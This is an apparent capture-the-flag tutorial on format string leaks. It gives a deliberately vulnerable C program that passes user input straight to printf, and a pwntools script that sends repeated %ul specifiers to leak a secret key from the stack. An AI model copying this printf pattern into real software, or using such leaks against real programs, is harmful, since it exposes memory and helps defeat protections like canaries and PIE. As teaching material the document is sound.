printf Leak

printf Leak #

Description #

It is possible to leak variables in a function by abusing printf. If you can control the format string, you can send a bunch of format specifiers such as %s for strings, and %ul for numbers (unsigned long). This will leak values of the stack which will become much more important in the future as we start enabling default memory protections such as PIE and canaries.

Example #

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
// gcc -g -o chal chal.c

int main() {
    srand(time(NULL));
    long key = rand();
    long guess = 0;

    char name[32];

    puts("Welcome! If you can guess the number, you get the flag!");

    // Username
    puts("First, what is your name:");
    fgets(name, 31, stdin);
    puts("Welcome:");
    printf(name);

    // Guess
    puts("Now, guess the number:");
    scanf("%d", &guess);
    if (guess == key) {
        puts("Impressive. flag{win}");
    } else {
        printf("Sorry, better luck next time. The number was: %lu\n", key);
    }
}

Solution #

Send a number of %ul as the username till we find the key.

Solve Script #

import pwn

pwn.context.log_level = "critical"

p = pwn.process("./chal")

# Find the offset
p.sendlineafter(b"name:", b" %ul"*7)
p.recvuntil(b"Welcome:\n")

number = p.recvline().decode().split(" ")[-1].strip()

print(f"{number=}")

p.sendlineafter(b"number:", number.encode())
p.interactive()

Files #